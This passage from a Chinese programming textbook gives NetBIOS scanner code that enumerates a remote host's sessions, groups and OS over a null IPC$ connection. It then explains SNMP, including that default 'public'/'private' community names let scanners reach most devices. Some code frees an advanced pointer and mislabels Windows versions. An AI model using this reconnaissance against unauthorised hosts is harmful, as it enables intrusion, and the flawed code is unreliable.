strTemp.Format("NetBIOS扫描[%s]",m_strIP);

HTREEITEM root=m_ctlTreeResult.InsertItem(strTemp,0,1,TVI_ROOT);

ConnectServer(m_strIP,TRUE,root);

ReadHostname(m_strIP,root);//读取主机名

ReadMAC(m_strIP,root);//ReadMAC函数详见4.3节"MAC地址的读取"

char netNB[MAX_PATH]={0};

sprintf(netNB,"\\\\%s",m_strIP);

USHORT lpwHostStr[MAX_PATH]={0};

MultiByteToWideChar(CP_ACP,0,netNB,-1,(USHORT*)lpwHostStr,MAX_PATH);

ReadTime(lpwHostStr,root);//代码详见4.5.5节"远端主机时间的读取"

ReadShareDirectory(lpwHostStr,root);//代码详见4.5.3节"共享目录的读取"

ReadGroup(lpwHostStr,root);//代码详见4.5.4节"组列表的读取"

ReadLocalGroup(lpwHostStr,root);//读取本地的组

ReadOS(lpwHostStr,root);//读取操作系统类型

ReadProtocol(lpwHostStr,root);//代码详见4.5.6节"远端服务支持类型的读取"

ReadUser(lpwHostStr,root);//代码详见4.5.2节"用户名列表的读取"

ReadSession(lpwHostStr,root);//读取会话

ReadTransport(lpwHostStr,root);//读到TCP连接

ConnectServer(m_strIP,FALSE,root);

}



NetBIOS各函数调用中，有些函数在调用之前需要先与对方建立一个连接，否则就无法正常使用，这个连接通常称为“IPC连接”。即通过WNetAddConnection2函数与对方的"IPC$"共享建立TCP连接，然后调用各相应的NetBIOS函数，在这些函数结束后，再调用WNetCancelConnection2关闭连接。对于WNetAddConnection2和WNetCancelConnection2两个函数的介绍，详见第11章11.2节“主机弱密码扫描”中的介绍。



BOOL CNetBIOSScanerDlg::ConnectServer(CString strIP,BOOL bConnect,HTREEITEM rtItem)

{//函数被设计成既可以连接，也可以关闭，通过bConnect进行调整

CString strTemp;

//建立一个空连接

char ipc[MAX_PATH]={0};

sprintf(ipc,"\\\\%s\\ipc$",strIP);

DWORD ret=ERROR_SUCCESS;

if(bConnect)

{

NETRESOURCE nr;

memset((char*)＆nr,0,sizeof(nr));

nr.lpLocalName=NULL;

nr.lpProvider=NULL;

nr.dwType=RESOURCETYPE_ANY;

nr.lpRemoteName=(char*)＆ipc;

ret=WNetAddConnection2(＆nr,NULL,NULL,0);

if(ret!=ERROR_SUCCESS)

{

strTemp.Format("连接失败：对方可能是XP操作系统，\该操作系统默认设计不允许远端连接。");

m_ctlTreeResult.InsertItem(strTemp,2,3,rtItem);

}

}

else

{

ret=WNetCancelConnection2((char*)ipc,0,TRUE);

}

return TRUE;

}

BOOL CNetBIOSScanerDlg::ReadSession(USHORT*strIP,HTREEITEM rtItem)

{

NET_API_STATUS nStatus;

CString strTemp;

//会话========================================

PSESSION_INFO_10 pSession_10;

DWORD dwLevel=10;

DWORD dwTotalEntries=0;

DWORD dwResumeHandle=0;

DWORD dwTotalCount=0;

DWORD dwLength=sizeof(strIP);

PTSTR pszClient=NULL;

PTSTR pszUser=NULL;

DWORD dwPrefMaxLen=-1;

DWORD dwEntriesRead=0;

do{

nStatus=NetSessionEnum((char*)strIP,

pszClient,

pszUser,

dwLevel,

(PBYTE*)＆pSession_10,

MAX_PREFERRED_LENGTH,

＆dwEntriesRead,

＆dwTotalEntries,

＆dwResumeHandle);

if((nStatus==NERR_Success)||(nStatus==ERROR_MORE_DATA))

{

HTREEITEM curr=m_ctlTreeResult.InsertItem("会话",2,3,rtItem);

PSESSION_INFO_10 pTmpSession_10=pSession_10;

for(DWORD i=0;i＜dwEntriesRead;i++)

{

if(pTmpSession_10==NULL)

{

strTemp="读取过程中出现错误";

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

break;

}

strTemp.Format("客户端：%S;用户名：%S;Active:%d;Idle:%d",

pTmpSession_10-＞sesi10_cname,

pTmpSession_10-＞sesi10_username,

pTmpSession_10-＞sesi10_time,

pTmpSession_10-＞sesi10_idle_time);

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

pSession_10++;

dwTotalCount++;

}//end of for

}//end if

if(pSession_10!=NULL)

{

NetApiBufferFree(pSession_10);

}

}while(nStatus==ERROR_MORE_DATA);

return TRUE;

}



要读取本地用户组，除了使用读取远端用户组，并将远端主机设成本地IP地址之外，还有一个NetLocalGroupEnum函数可以直接读取本地所有用户组。



BOOL CNetBIOSScanerDlg::ReadLocalGroup(USHORT*strIP,HTREEITEM rtItem)

{

NET_API_STATUS nStatus;

CString strTemp;

//本地组名==================================

PGROUP_INFO_2 pGroup_2=NULL;

DWORD dwPrefMaxLen=-1;

DWORD dwEntriesRead=0;

DWORD dwTotalEntries=0;

DWORD dwResumeHandle=0;

DWORD dwLevel=2;

nStatus=NetLocalGroupEnum((LPWSTR)strIP,//远端主机名

dwLevel,//级别为0

(LPBYTE*)＆pGroup_2,//放入

dwPrefMaxLen,

＆dwEntriesRead,

＆dwTotalEntries,

＆dwResumeHandle);

if(nStatus==NERR_Success)

{

HTREEITEM curr=m_ctlTreeResult.InsertItem("本地组名",2,3,rtItem);

PGROUP_INFO_2 pTmpGroup_2=pGroup_2;

for(DWORD i=0;i＜dwEntriesRead;i++)

{

strTemp.Format("组名：%S[%S],组ID：%d,属性：%d",

pTmpGroup_2-＞grpi2_name,pTmpGroup_2-＞grpi2_comment,

pTmpGroup_2-＞grpi2_group_id,pTmpGroup_2-＞grpi2_attributes);

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

pTmpGroup_2++;

}

}

return TRUE;

}

BOOL CNetBIOSScanerDlg::ReadOS(USHORT*strIP,HTREEITEM rtItem)

{

NET_API_STATUS nStatus;

CString strTemp;

//当前操作系统类型========================================

PSERVER_INFO_102 pServer=NULL;

nStatus=NetServerGetInfo((char*)strIP,102,(PBYTE*)＆pServer);

if(nStatus==NERR_Success)

{

if(pServer!=NULL)

{

HTREEITEM curr=m_ctlTreeResult.InsertItem("操作系统",2,3,rtItem);

strTemp.Format("平台ID：%d",pServer-＞sv102_platform_id);

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

strTemp.Format("名称：%S",pServer-＞sv102_name);

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

strTemp.Format("版本：%d.%d",pServer-＞sv102_version_major,

pServer-＞sv102_version_minor);

switch(pServer-＞sv102_version_major)

{

case 4:strTemp+="[Win NT 4]";break;

case 5:

if(pServer-＞sv102_version_minor==0)

strTemp+="[Win 2000]";

else

{

if(pServer-＞sv102_version_minor==1)

strTemp+="[Win XP]";

else

strTemp+="[Win XP/2000]";

}break;

case 6:strTemp+="[Win 2003]";break;

case 7:strTemp+="[Win Vista/7]";break;

default:strTemp+="[Other OS]";break;

}

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

//strTemp.Format("类型：%d",pServer-＞sv102_type);

//m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

strTemp="类型：";

if((pServer-＞sv102_type＆SV_TYPE_WORKSTATION)!=0)

strTemp+="[工作站]";

if((pServer-＞sv102_type＆SV_TYPE_SERVER)!=0)

strTemp+="[服务器]";

/*根据SV_TYPE_SQLSERVER属性，可以作为一种Microsoft SQL Server的一种扫描方法，第9章9.6节"编程实例：SQL Server命名管道扫描器的设计"给出了另一种命名管道扫描算法。*/

if((pServer-＞sv102_type＆SV_TYPE_SQLSERVER)!=0)

strTemp+="[SQL服务器]";

if((pServer-＞sv102_type＆SV_TYPE_DOMAIN_CTRL)!=0)

strTemp+="[主域控制器]";

if((pServer-＞sv102_type＆SV_TYPE_DOMAIN_BAKCTRL)!=0)

strTemp+="[备域控制器]";

if((pServer-＞sv102_type＆SV_TYPE_TIME_SOURCE)!=0)

strTemp+="[时钟源]";

if((pServer-＞sv102_type＆SV_TYPE_AFP)!=0)

strTemp+="[APPLE]";

if((pServer-＞sv102_type＆SV_TYPE_NOVELL)!=0)

strTemp+="[NOVELL]";

if((pServer-＞sv102_type＆SV_TYPE_DOMAIN_MEMBER)!=0)

strTemp+="[域成员]";

if((pServer-＞sv102_type＆SV_TYPE_LOCAL_LIST_ONLY)!=0)

strTemp+="[服务器保留]";

if((pServer-＞sv102_type＆SV_TYPE_PRINTQ_SERVER)!=0)

strTemp+="[主服务器]";

if((pServer-＞sv102_type＆SV_TYPE_DIALIN_SERVER)!=0)

strTemp+="[拨入服务器]";

if((pServer-＞sv102_type＆SV_TYPE_XENIX_SERVER)!=0)

strTemp+="[XENIX]";

if((pServer-＞sv102_type＆SV_TYPE_SERVER_MFPN)!=0)

strTemp+="[文件打印服务器]";

if((pServer-＞sv102_type＆SV_TYPE_NT)!=0)

strTemp+="[NT/2000]";

if((pServer-＞sv102_type＆SV_TYPE_WFW)!=0)

strTemp+="[WIN工作站]";

if((pServer-＞sv102_type＆SV_TYPE_SERVER_NT)!=0)

strTemp+="[非域NT/2000]";

if((pServer-＞sv102_type＆SV_TYPE_POTENTIAL_BROWSER)!=0)

strTemp+="[潜在浏览]";

if((pServer-＞sv102_type＆SV_TYPE_BACKUP_BROWSER)!=0)

strTemp+="[备浏览]";

if((pServer-＞sv102_type＆SV_TYPE_MASTER_BROWSER)!=0)

strTemp+="[主浏览]";

if((pServer-＞sv102_type＆SV_TYPE_DOMAIN_MASTER)!=0)

strTemp+="[域主]";

if((pServer-＞sv102_type＆SV_TYPE_DOMAIN_ENUM)!=0)

strTemp+="[主域]";

if((pServer-＞sv102_type＆SV_TYPE_WINDOWS)!=0)

strTemp+="[WIN95]";

if((pServer-＞sv102_type＆SV_TYPE_ALL)!=0)

strTemp+="[所有]";

if((pServer-＞sv102_type＆SV_TYPE_TERMINALSERVER)!=0)

strTemp+="[终端服务]";

if((pServer-＞sv102_type＆SV_TYPE_CLUSTER_NT)!=0)

strTemp+="[域成员]";

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

strTemp.Format("注释：%S",pServer-＞sv102_comment);

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

strTemp.Format("磁盘：%d",pServer-＞sv102_disc);

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

strTemp.Format("隐藏：%s",pServer-＞sv102_hidden?"是":"否");

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

strTemp.Format("宣布：%d",pServer-＞sv102_announce);

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

strTemp.Format("anndelta：%d",pServer-＞sv102_anndelta);

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

strTemp.Format("licenses：%d",pServer-＞sv102_licenses);

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

strTemp.Format("路径：%S",pServer-＞sv102_userpath);

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

}

}

if(pServer!=NULL)

NetApiBufferFree(pServer);

return TRUE;

}

BOOL CNetBIOSScanerDlg::ReadTransport(USHORT*strIP,HTREEITEM rtItem)

{

NET_API_STATUS nStatus;

CString strTemp;

//会话，读取对方的会话连接=============================

PSERVER_TRANSPORT_INFO_1 pTransport_1;

DWORD dwLevel=1;

DWORD dwTotalEntries=0;

DWORD dwResumeHandle=0;

DWORD dwTotalCount=0;

DWORD dwEntriesRead=0;

do

{

nStatus=NetServerTransportEnum((char*)strIP,

dwLevel,

(PBYTE*)＆pTransport_1,

MAX_PREFERRED_LENGTH,

＆dwEntriesRead,

＆dwTotalEntries,

＆dwResumeHandle);

if((nStatus==NERR_Success)||(nStatus==ERROR_MORE_DATA))

{

HTREEITEM curr=m_ctlTreeResult.InsertItem("连接",2,3,rtItem);

PSERVER_TRANSPORT_INFO_1 pTmpTransport_1=pTransport_1;

for(DWORD i=0;i＜dwEntriesRead;i++)

{

strTemp.Format("传送:%S;地址:%S;数量:%d;网址:%S;域:%S",

pTmpTransport_1-＞svti1_transportname,

pTmpTransport_1-＞svti1_networkaddress,

pTmpTransport_1-＞svti1_numberofvcs,

pTmpTransport_1-＞svti1_networkaddress,

pTmpTransport_1-＞svti1_domain);

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

pTransport_1++;

dwTotalCount++;

}//end of for

}//end if

if(pTransport_1!=NULL)

{

NetApiBufferFree(pTransport_1);

}

}while(nStatus==ERROR_MORE_DATA);

return TRUE;

}




第5章　SNMP扫描器的设计

SNMP（Simple Network Management Protocol，简单网络管理协议）用来对通信线路进行管理。其目标是管理互联网上众多厂家生产的软硬件平台。通过SNMP协议可以读取、设置任何支持SNMP协议的各种设备。

本章首先详细地介绍了SNMP协议的细节，这些细节是理解后续各节的前提，通过对这一部分的了解，读者至少要知道两个概念和四个操作，两个概念是OID项和MIB库，其中OID项是每个设备某一参数的身份证号，MIB库则保存了该参数的名称、类型、取值的意义等各项细节描述。四个操作是GET、GETNEXT、SET、TRAP。GET命令是读取指定OID项的值；SET命令是设置指定OID项的值；GETNEXT命令用于读取“当前OID”的下一个OID值，并将其作为新的“当前OID”，以达到只记一个OID便可遍历所有值的功能；TRAP用于设备主动向监控程序反馈结果，这样做既可以避免监控程序不停轮询，也可以更及时地得到敏感数据的结果。

在随后的内容中，针对监控程序，详细地介绍了从开发角度上需要掌握的API函数，以及每个函数的注意事项。

SNMP扫描器虽然完全可以对一个设备进行扫描，但设备之间巨大的差异性，会让扫描者体会不到，与其说是在扫描，不如说是在做设备的客户端，鉴于此，针对设备的扫描器就命名为“SNMP通用读设工具”。

计算机作为一个复杂的设备，理所当然也可以通过SNMP进行监控。作为本章的重点，首先讲述了计算机上SNMP的安装和验证，最后详细地说明了如何对计算机主机，通过SNMP进行扫描，以及扫描器的详细设计。

需要说明的是，SNMP叫做“简单网络管理协议”，指的是该协议对设备进行简单管理，而不是所管理的设备必须是简单的。


 5.1　SNMP协议

SNMP的前身是SGMP（Simple Getway Monitoring Protocol，简单网关监控协议），用来对通信线路进行管理。SNMP的目标是管理Internet上众多厂家生产的软硬件平台，因此SNMP受Internet标准网络管理框架的影响也很大。现在SNMP已经出到第三个版本，其功能较以前已经大大地加强和改进了。

SNMP中有三个重要的概念，即管理信息结构（Structure of Management Information，SMI）、管理信息库（Management Information Base，MIB）和SNMP通信协议。

SMI是一种语言，为了确保网络管理数据的语法和语义明确，且无二义性，SMI主要定义了被管理网络实体中特定数据的数据类型、对象模型，以及写入和修改管理信息的规则。

MIB是由设备一方维护的一个信息数据库，管理方通过协议访问设备时，通常是对这些信息进行存取访问，并通过读取的状态值或报警判断设备是否正常，可设置改变其状态，从而实现对设备的网络管理。

SNMP通信协议是基于TCP/IP协议族的，UDP是其主要通信协议。虽然UDP协议不是面向连接的，但SNMP协议仍然定义了如“打开、查询、设置、关闭”等面向连接的术语，并且定义了在设备与管理方之间的所有协议格式和通信规则。

对设备的管理涉及管理方和设备方。作为设备生产厂家，如果要想使生产的设备可以被SNMP管理，就要按照上述要求在设备中配备MIB库，并制作一个程序维护这个MIB库中的数据，该程序同时和管理方程序进行通信。从管理程序的角度来看，这个程序像是远端MIB库的一个代理，所以称此程序为代理（Agent）程序。SNMP通信结构图见图5.1。
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图　5.1　SNMP通信结构图


 5.1.1　管理信息结构

管理信息结构（SMI）指定了在MIB库中用于定义管理目标的规则，作为对设备的监控，SMI定义了为数不多的几种数据类型。高级编程语言中的数据类型多是以内存读取不同而设定的，而SMI所定义的数据结构多是面向应用而定义和命名的，因此有很多看似可以合并的同结构数据类型却被定义了多次。例如INTEGER、IpAddress、Counter、Gauge都可以表示整数，且表示的范围差别不大，在高级语言中，通常需要用户通过自己定义来区分和实现，但在SNMP中，需要直接通过不同的数据类型进行定义，这样虽然看似多余，但大大增加了可读性和准确性。

SNMP中的数据类型并不多，并且不同的SDK支持库，其名称和数量也不尽相同，如在SNMP的API中，主要有AsnInteger、AsnOctetString、AsnObjectIdentifier、AsnImplicitSequence、AsnSequence、AsnIPAddress、AsnDisplayString、AsnCounter、AsnGauge、AsnTimeticks、AsnOpaque等几种类型。


5.1.2　管理信息库

管理信息库（MIB）是支持SNMP设备必备的一个信息数据库，并由代理程序进行维护。MIB库中的数据是以树状的结构进行表示的，这样更符合自然界事物间的关系，比如设备通常可以分为子系统，各子系统可以分为各自模块，每个模块又可分为功能点，每个功能点又具有若干属性。虽然管理程序最终关心的往往是作为“叶子”节点的属性值，但通过上述各级分支，更容易判断属性值的意义，增加可读性。

5.1.2.1　MIB树

MIB库的树状结构例子如图5.2所示，展示了一个计算机当作为设备时的MIB库结构。
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图　5.2　mib-2的MIB树结构图

该计算机的MIB库位于mgmt分支下的mib-2子分支中。目前主要支持13类功能，详见表5.1。这些功能也是基于SNMP的扫描器重点关注的内容。
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5.1.2.2　MIB对象

在图5.2中，无论分支有多少层，都只是一种层次结构的表示，而所有的数据全部在树状结构的“叶子”节点上，这些叶子节点称为“MIB对象”，又称为“MIB变量”，一般将叶子节点作为一个整体看待的时候，称为对象，当涉及编程存取数值的时候，称为变量。以下在MIB节点上混用这两个称呼，在MIB库中，MIB变量可分为两类：简单变量和表变量。

简单变量是整数型或字符串型变量，也包括一些数据集合。在SNMP中，简单变量主要用于表示一些个数确定的变量，例如设备的温度、设备电源电压值，这些数值一般在设备型号确定后就可以定下来了。因此就可以直接用一个或多个变量来表示。

表变量是数组变量，数组的成员则可以是整数型或字符串型变量，甚至还可以是表变量。表变量主要用于表示一次个数不确定的变量，例如主机的一个网卡虽然在一般情况下，都是配置一个IP地址和IP掩码，但在实际应用中，是可以配置为多组IP地址和IP掩码，因此必须使用表变量的数据类型来存储；再如一些设备机框中，虽然总槽位是确定的，但实际使用过程中，将板卡安装到哪个槽位中并不确定，因此只能使用表变量。

在图5.2中，叶子节点mgmt/mib-2/interfaces/ifNumber就是一个简单变量，而叶子节点mgmt/mib-2/interfaces/ifTable就是一个表变量，在该表变量的子层还有表变量中的子项节点。

每个MIB变量格式在SMI都有明确的规定，并用ASN.1描述如下：



OBJECTNAME OBJECT-TYPE

DESCRIPTION：(description)

SYNTAX：(syntax)

ACCESS：(access)

STATUS：(starus)

::={(Parent)number}



其中各变量格式意义如下：

❑OBJECTNAME是被管变量的名字，ASN.1要求所有对象的名字在MIB中必须是唯一的；

❑OBJECT-TYPE是每一个节点对象所必需的关键字；

❑DESCRIPTION是关键字，(description)是对象的描述；

❑SYNTAX是被管类型的关键字，随后跟着的是一个类型（syntax）；

❑ACCESS是关键字，（access）是被管对象的访问方式；

❑STATUS是关键字，（status）是被管对象的状态，如必备的、可选的、废弃的；

❑::={(Parent)number}中，Parent表示位于MIB树中的父节点，而number表示是第几个子节点。

下面是一个设备的MIB库文件片段：



plcLRMVer OBJECT-TYPE

SYNTAX DisplayString

MAX-ACCESS read-only

STATUS current

DESCRIPTION"Hardware version of PLC module."

::={slotsEntry 166}



5.1.2.3　OID值

要访问树状结构的叶子节点项，最好的方式就像文件系统中的全路径表示方式。在SNMP中，每个MIB对象都用OID（Object Identity，对象标识符）来进行标识，这样做的最大好处是每一个节点值必然是唯一的。在树状结构中，如果只以字符串命名某些节点（包括分支节点和叶子节点），则难以辨别两个节点之间的相对位置关系，为此，在ASN.1语法中又规定了每个节点的数字序号。在表示的时候，每两个节点之间用一个“.”隔开，用数字表示和用名称表示的两个方式是并存的，甚至可以混合使用。

例如：mgmt\mib-2\interfaces\ifNumber在IANA组织中规定：mgmt序号为2，mib-2的序号为1，interfaces的序号是2，ifNumber的序号是1。则该OID值的表示方式可以有以下几种：

❑"mgmt.mib-2.interfaces.ifNumber"，这是纯名称的表示方式。

❑“2.1.2.1”，这是纯数字序号的表示方式。

❑mgmt.mib-2.2.1、mgmt.1.2.ifNumber、mgmt.mib-2.interfaces.1，这是混合表示方式。

在上述的表示方式中，可以看到，这种方式解决了设备的MIB对象的唯一性问题。但不同的厂家，即使是生产同一种设备（如交换机），也千差万别，最好的解决办法就是给每个厂家定义一个“根”节点，该节点下的树状结构由此厂家自己进行定义和维护，同时在某个国际组织中进行备案。在这种方式下，每个厂家的根节点之间也需要进行区分。为此，互联网数字分配机构IANA（The Internet Assigned Numbers Authority）专门负责协调此事，任何单位和组织可以直接向IANA或其授权的下属组织申请本单位的OID根节点，并在随后一次性或多次申请根节点下的各设备节点，直到所有的叶子节点的OID值。IANA一般只接受国家机关、标准化机构、社会团体、公司等四种单位或组织的申请。

5.1.2.4　OID全局图

所有的OID节点组成了一个庞大的树状结构，该树状结构可以具有多个总根节点，而目前只有一个总根节点iso，表示国际标准化组织（International Organization for Standardization，ISO），整个结构如图5.3所示。
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图　5.3　OID全景图

在图5.3中，可以看到mgmt只是总树的一个分支节点。同样，在IANA组织中规定：iso的序号为1，org的序号为3，dod的序号是6，internet的序号是1，则前面提到的相对路径是mgmt\mib-2\interfaces\ifNumber，其绝对路径应该是：\iso\org\dod\internet\mgmt\mib-2\interfaces\ifNumber，如果用数字序号表示，则是“.1.3.6.1.2.1.2.1”（最前面的一个点表示的是总根节点）。

与mgmt节点平级的还有一个private节点，该节点下的enterprises节点中都是一些向IANA申请了企业OID根节点的私营企业节点。需要说明的是，图5.3只是作者本人所搜集到的企业OID列表，并不表示当前全部企业的OID列表。

另一个与mgmt节点平级的是snmpV2，是针对snmp版本2的各项内容，这里不详述。


5.1.3　通信协议

在SNMP中，通信协议主要是管理程序与代理程序之间通信，共有五类消息：GetRequest、GetNextRequest、GetResponse、SetRequest、Trap，其操作如图5.4所示。
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图　5.4　SNMP通信协议模型图

5.1.3.1　命令

通信协议主要定义了四类命令：GET、GETNEXT、SET、TRAP，GET命令是由管理程序发给代理程序，其主要作用是查询某一个指定OID的MIB变量的当前值。GETNEXT命令也是由管理程序发给代理程序，其主要作用是查询代理程序指定OID的MIB变量中下一个值的当前值，该命令主要应用于对方OID个数不确定、不知道某一OID具体值、要遍历某一段OID所有值的时候。SET命令同样是由管理程序发给代理程序，主要是用于设置指定OID的MIB变量的当前值。TRAP命令是由代理程序向管理程序发送，主要是用于当设备发现某故障或报警出现时，主动向管理程序发送消息时使用。

TRAP命令与前三个命令有所不同。众所周知，要监控一个设备的状态，通常采用的方式有轮询（Poll）方式和中断（Interupt）方式。轮询方式下，采用定时周期性地读取方式，这样做的优点是可以在监控某状态的实时值的时候及时发现其变化规律，缺点是当轮询的项目数多的时候轮询周期较长，当某一个报警发生的时候，会影响到其实时性；中断方式则是当某一事件出现的时候，以主动的方式告诉监控方，这样做的优点是，监控端不需要周期性地读取监控值，而是坐等要监控的值主动把监控值汇报上来，节省了监控方的资源和二者之间的通信资源，节省了带宽，缺点是对于某些变化频繁的数据，节省的带宽不多，但监控程序则要频繁地处理各项“突发”事件。所以不论是监控程序的设计者，还是设备代理的程序设计者，都需要遵循一个原则：如果要监控的值是频繁变化的则采用轮询方式（如交换机数据流量），如果要监控的值在极大概率下是正常的，极小概率下才有故障（如一般交换机都可以支持到周7×24小时正常运行，所以如果监控其是否死机），则可以使用中断方式。在SNMP中，TRAP被翻译成“陷阱”，TRAP的作用就是通知设备代理程序，对预设的报警或关键值采用中断方式主动向监控程序汇报。

5.1.3.2　共同体（community）

除了上述命令之外，SNMP协议还有一个重要但常被忽视的概念就是：共同体名（community）。这个看似神秘的概念其实只是一个访问共同的标识符。一般来说，一个代理程序会向外界提供三个共同体名，分别是“只读共同体名”（Read-Community）、“读写共同体名”（Community）和“陷阱共同体名”（Trap-Communicaty）。当管理程序访问代理程序时，必须提供完全一致的共享名，否则代理程序不予处理。只读共同体名只能对监控的OID值进行读取，不能设置；而只有标明为读写共同体名的才允许设置。当从代理程序向管理程序发送陷阱被触发时的信息时，也同样会带上陷阱共同体名供管理程序辨识，从这一点上来看，共同体还具有简单的用户认证功能。

通常，设备默认的只读共同体名是public，读写共同体名是private。这两个默认值很重要，因为真正拿到设备后修改这两项默认值的很少，甚至有些设备根本就不提供修改其值的功能。也就是说，有些设备自带的程序都直接使用这两个默认值，且用户无法修改此值。这也给SNMP扫描器提供了可以扫描大多数装了SNMP的主机和设备的可能。

SNMP使用的端口固定是161，很多API将这一端口直接写死，而不像是其他服务一样允许通过配置改变，因此即使开发人员不知道SNMP协议的端口，仍然不影响使用。

从编程的角度来看，要通过SNMP对设备进行控制，需要如下四个必不可少的因素：



设备的IP地址，命令类型，共同体名，OID值



5.1.3.3　SNMP版本

目前SNMP协议有两个版本：SNMPv1和SNMPv2，前者是因特网管理框架中的一部分，是目前广泛应用的标准协议，只支持对像值的读取和设置。后者是前者的升级版，增添了一些新的功能，其目标是快速替代SNMPv1。

目前SNMPv1所具有的特点有：

❑支持的操作有4种：GET、GETNEXT、SET、TRAP。报文命令有5种：GetRequest、GetNextRequest、SetRequest、GetResponse、Trap。报文格式有2种：其中管理程序发出三种请求报文GetRequest、GetNextRequest、SetRequest和由代理程序发出的应答报文GetResponse所采用的格式是一样的，Trap报文格式与其他不同，且不需要应答。

❑管理程序和代理程序之间交换的管理信息构成SNMP PDU（Protocol Data Unit，协议数据单元），报文由三部分组成：版本号、共同体、协议数据单元（PDU）。

与SNMPv2相比，目前SNMPv1还有如下几点问题：

❑不支持管理程序改变管理信息库中的叶子节点（即不能增加、修改和删除MIB中的管理对象实例），这些MIB对象结构只能在代理程序中直接定义好，并且一旦定义好就不能再修改，如果确需修改，则只能通过升级硬件时同时更换代理程序和MIB库。

❑管理程序只能通过读到的OID值和TRAP报警做出判断，然后写指定的OID，由设备代理程序发现某一个OID值被修改后进行调整，而不能向管理对象发出执行一个动作的命令。

❑管理程序一次只能访问一个管理信息库的叶子节点（实际上一次可以访问多个，但受限较多，所以通常一次只访问一个），即使是访问表变量的时候，也只能一次访问表中的一个项，不能一次性访问一个子树的全部叶子节点或全表。

但考虑到SNMPv1的普及性极高，且目前大多数设备还主要支持SNMPv1，所以本书也以SNMPv1的介绍为主。


5.2　SNMP的API

在Windows下做SNMP的开发，首先要确定开发的是SNMP的哪一部分，如前所述，SNMP程序分为管理程序和代理程序，其中前者通常是运行在某台监控主机上，通过该主机对申请连接的远端主机进行监控；代理程序是运行在设备上，通过指定的协议读取各传感器的值，然后将这些值按照MIB格式进行维护，当管理程序查询或设置的时候，代理程序是完全和硬件相关的，不同的设备硬件原理相差很大，操作原理也千差万别。

正如本书一贯的宗旨，本章也只关注那些对指定的或某范围内未指定的主机（或设备）通过SNMP进行扫描，所以也不可能强制或规定对方必须安装SNMP协议，因此这里也不会考虑代理程序的API，而只关注于管理程序的API部分。

在选择了要做的是SNMP协议的管理程序之后，还要做的一件事是选择相应的API组。虽然在了解了TCP/IP编程后，参照TCP/IP协议的RFC文档，我们也可以从原始底层做起，做一套符合SNMP协议的通信程序，也不失为一种可行的好办法（特别是在制作非常规扫描操作的时候）。但直接使用已成熟的开发包可以达到事半功倍的效果。

目前在Windows下，SNMP开发的主要有两组API，一种是以RFC 1155为主要设计原则的SNMP API，一种是针对Windows操作系统命名习惯做了较大调整的WinSNMP API，二者原理上基本相同，只是命名规则差别较大，都可以很好地运行在Windows系列的操作系统上，各有利弊，可以酌情选用。本节主要介绍前者。

使用SNMP API时，要包含头文件snmp.h，并且要静态地链接snmpapi.lib文件，如果将一台支持SNMP协议的计算机当作设备来扫描，还要包含头文件mgmtapi.h，以及静态链接库mgmtapi.lib文件。即在程序前面代码中加入如下几行：



#include＜snmp.h＞

#include＜mgmtapi.h＞

#pragma comment(lib,"snmpapi")

#pragma comment(lib,"mgmtapi")



如果使用WinSNMPAPI，则需要加入如下几行，意义相似：



#include＜winsnmp.h＞

#include＜WSnmpUtil.h＞

#include＜mgmtapi.h＞

#pragma comment(lib,"mgmtapi")



SNMP虽然是基于UDP协议的高层协议，但为了使数据传输有保障，SNMP本身也在应用层设计成一种“面向连接”的协议，因此整个SNMP编程也要经过一个连接、命令读设、断开连接等三个步骤。当然除了这三个必要步骤之外，还需要有初始化、注销等操作，下面只针对其中比较重要的API函数进行介绍。

SNMP的体系结构依托于UDP数据报服务，向管理应用提供服务，作用是把管理应用程序的服务调用变成对应的SNMP协议数据单元，并利用UDP数据报发送出去。管理站运行管理应用程序，代理进程管理若干管理对象，通过UDP、IP协议和物理网络建立SNMP协议应用。


 5.2.1　数据类型和常用结构

SNMP API支持11种数据类型：AsnInteger、AsnOctetString、AsnObjectIdentifier、AsnSequence、AsnImplicitSequence、AsnIPAddress、AsnDisplayString、AsnCounter、AsnGauge、AsnTimeticks、AsnOpaque，还支持3种结构：AsnAny、RFC1157VarBind、RFC1157VarBindList。下面分别介绍。

5.2.1.1　数据类型

SNMP API支持的数据类型如表5.2所示。
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其实，细看这些类型，可以将其分为四类，即单整数类型（如AsnInteger、AsnCounter、AsnGauge、AsnTimeticks）、字符串类型（如AsnOctetString、AsnSequence、AsnImplicitSequence、AsnIPAddress、AsnDisplayString）、数组类型（如AsnObjectIdentifier）、复合类型（如AsnOpaque）。其中使用最多的是AsnInteger、AsnOctetString和AsnObjectIdentifier三种类型，AsnInteger被广泛使用是因为其简单、长度固定、点用内存少、硬件易于实现。很多硬件在设计的时候，为了使硬件的设计简单，甚至会将一些通常理解为浮点数的数值也用整型表示，然后在MIB库中变量的解释或设备的用户手册中说明所得的值必须除以一个数才是有效值。AsnOctetString在复杂的设备中表示字符串，在简单的设备中很少见，一般是将字符串所表示的意义用整数来表示。AsnObjectIdentifier在硬件中很少实现，而在调用API中，需要进行一些字符串型OID和数值型OID之间的转换，所以应用也较多。

5.2.1.2　AsnAny结构

AsnAny结构的定义如下：



typedef struct{

BYTE asnType;//值的类型

union{//注意，此处是union，而不是struct

//RFC 1155 SimpleSyntax(subset of ISO ASN.1)

AsnInteger number;

AsnOctetString string;

AsnObjectIdentifier object;

//ISO ASN.1

AsnSequence sequence;

//RFC 1155 ApplicationSyntax

AsnIPAddress address;

AsnCounter counter;

AsnGauge gauge;

AsnTimeticks ticks;

AsnOpaque arbitrary;

}asnValue;

}AsnAny;



结构成员如下：

❑asnType：表示的是在联合体内的数据值的类型。

该值的取值范围为：
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❑asnValue：表示的是该值本身。根据union的定义可知，该值的长度不取决于值本身的长度，而是取决于union的所有成员中，占用字节数最多的那个值的长度。

